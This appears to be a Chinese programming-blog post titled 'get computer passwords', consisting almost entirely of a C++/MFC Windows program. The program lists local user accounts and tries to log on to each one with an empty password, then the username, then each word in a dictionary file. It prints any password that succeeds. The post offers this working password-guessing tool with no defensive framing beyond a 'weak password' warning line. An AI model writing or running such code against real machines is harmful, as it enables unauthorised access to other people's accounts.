获取计算机密码

来源：互联网发布：c语言中1e-6是什么意思编辑：程序博客网时间：2024/06/10 16:37

根据数据字典，获取计算机用户的密码

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
   int nRetCode = 0;

   // initialize MFC and print and error on failure
   if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
   {
       // TODO: change error code to suit your needs
       cerr << _T("Fatal Error: MFC initialization failed") << endl;
       nRetCode = 1;
   }
   else
   {
       // TODO: code your application's behavior here.
       BOOL keepGoing=TRUE;
       DWORD entriesRead,totalEntries;
       USER_INFO_2 * pInfo=NULL;
       DWORD resumeHandle=0;
       char nameBuf[UNLEN+1];
       char commentBuf[MAXCOMMENTSZ+1];
       WCHAR serverName[100];
       lstrcpyW(serverName,L"");
       while (keepGoing)
       {
           NET_API_STATUS ret =NetUserEnum(serverName,2,0,(LPBYTE*)&pInfo,sizeof(USER_INFO_2)*100,&entriesRead,&totalEntries,&resumeHandle);
           keepGoing=(ret==ERROR_MORE_DATA);
           if(ret==0||ret==ERROR_MORE_DATA)
           {
               DWORD i;
               for(i=0;i<entriesRead;i++)
               {
                    DWORD dwflag = pInfo[i].usri2_flags&UF_ACCOUNTDISABLE;
                    if (dwflag)
                    {
                        printf("账户已禁用");
                        continue;
                    }
                   LPWSTR pName=(LPWSTR)pInfo[i].usri2_name;
                   LPWSTR pComm=(LPWSTR)pInfo[i].usri2_comment;
                   if(pName==NULL)
                   {
                       lstrcpy(nameBuf,"(no name!)");
                   }
                   else if (lstrlenW(pName)==0)
                   {
                       lstrcpy(nameBuf,"(empty name!)");
                   }
                   else
                   {
                       WideCharToMultiByte(CP_ACP,0,pName,-1,nameBuf,UNLEN,NULL,NULL);
                   }
                   if(pComm==NULL)
                   {
                       lstrcpy(commentBuf,"(empty name!)");
                   }
                   else if(lstrlenW(pComm)==0)
                   {
                       lstrcpy(commentBuf, "(empty comenmt!)");
                   }
                   else
                   {
                       WideCharToMultiByte(CP_ACP,0,pComm,-1,commentBuf,MAXCOMMENTSZ,NULL,NULL);
                   }

                   bool isWeak=false;
                   LPTSTR pszUserName=nameBuf;
                   LPTSTR pszUserCom=commentBuf;
                   LPTSTR pszPass = NULL;
                   HANDLE hToken = NULL;
                   BOOL bLoggedOn = ::LogonUser(pszUserName,NULL,NULL,
                       LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, &hToken);
                   DWORD dwError = GetLastError();
                   printf("%s %s\n",pszUserName,pszUserCom);
                   if(bLoggedOn || dwError == 1327)
                   {
                       printf("%s\n","密码为空");
                       isWeak = true;
                   }
                   else
                   {
                       printf("%s\n","密码不为空");
                       bLoggedOn = ::LogonUser(pszUserName,NULL,pszUserName,
                           LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, &hToken);
                       dwError = GetLastError();
                       if(bLoggedOn || dwError == 1327)
                       {
                           printf("%s%s\n","密码是：",pszUserName);
                           isWeak = true;
                       }
                       if (!isWeak)
                       {
                           ifstream iFile;
                           iFile.open("pass.txt",ios::in|ios::out);
                           while (iFile&&!iFile.eof())
                           {
                               string pass;
                               iFile>>pass;
                               const char *temp=pass.c_str();
                               pszPass = (char*)temp;
                               bLoggedOn = ::LogonUser(pszUserName,NULL,pszPass,
                               LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, &hToken);
                               dwError = GetLastError();
                               if(bLoggedOn || dwError == 1327)
                               {
                                   printf("%s%s\n","密码是：",pszPass);
                                   isWeak = true;
                                   break;
                               }
                           }
                           iFile.close();
                       }

                   }
                   if (isWeak)
                   {
                       printf("Warning:口令不安全！\n");
                   }
                   printf("\n");
               }
           }
       }
   }
   system("PAUSE");
   return nRetCode;
}

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